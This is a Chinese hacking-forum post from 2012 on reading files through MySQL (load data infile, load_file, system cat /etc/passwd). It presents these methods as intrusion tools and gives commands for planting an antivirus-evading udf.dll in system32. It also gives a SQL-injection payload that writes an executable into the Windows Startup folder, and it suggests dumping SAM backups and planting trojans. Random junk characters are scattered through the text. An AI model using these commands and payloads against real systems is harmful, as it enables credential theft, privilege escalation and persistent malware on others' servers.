找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1983|回复: 0
打印 上一主题 下一主题

mysql下读取文件的几种方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。 ) F$ h: w2 b1 v( \' ~3 u! U
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
% B! j8 n4 N% C+ U6 V- K
" B: g/ G8 ?3 u; \( w+ D9 {. `mysql3.x下
. |( k+ U1 Y/ ^& o! t" ]* u
  m8 S9 S) I4 u! Q不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下 # f4 [# Q2 [( G9 J

3 C  k! c  x: e1 c% v& B6 Xmysql>create table a (cmd text);
/ K* w/ n0 }# _& r; v8 lmysql>load data infile 'c:\\boot.ini' into table a; ! L$ m. @: {$ M2 [3 g$ g
mysql>select * from a;
; B# C  A/ l: X# T/ R9 Q3 F) X4 z9 w* e* Y6 f
mysql4.x下 % j4 ]) o3 p) Y) L
$ n- n( N2 ?9 `5 u' S. X7 G4 H" ^
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下 / ]) H/ D* y% i/ n( I
0 }% m7 H. L. \( V9 E3 S
mysql>create table a (cmd text); % l& Z9 e8 h: q4 U% H, K( V. t
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
. U$ Z. ?2 A: Y* Jmysql>select * from a; 9 Y3 K! @5 N9 a
5 ]4 S1 J  r3 \" `
mysql5.x下
+ K( ]6 ^" J$ Z3 A- y7 [; }4 k8 d6 B
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
* V6 ]4 G. y; o! t$ k5 V4 Q+ m5 E1 S+ A# u
mysql>system cat /etc/passwd : w7 h7 K! @) @/ W: T, {
/ ^2 |6 K. j. }: \0 S
# G5 F9 `, Q* m) R$ X) q- s4 r
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
3 D$ W# i2 l0 z7 s3 S3 ^6 ?% }' b* L3 ]6 z+ c# \

; o3 U) Q. `3 \; R例:把免杀过的udf.dll文件插入系统目录 : @/ T8 l" z' \  h  b  B
- u$ H7 [2 z; G
create table a (cmd LONGBLOB);
' }( X0 b4 {4 A# Yinsert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
3 j# P' I9 H' {. V" z& CSELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; . f+ ~0 V+ H  e4 |, a# i

0 d" u- v2 B) {' R4 O其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
9 Q+ J. Q; u+ R: |4 X4 \6 ?; t
+ h) r4 A) M+ v5 q2 @5 L9 M! i) E8 z
注入中的语法(未测试)
, i* K. p2 K- k0 F1 q& V* T, ~5 l# g- y6 \- U8 B+ ]  o
/ L8 `: M3 J; S6 J& ~/ \8 `
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表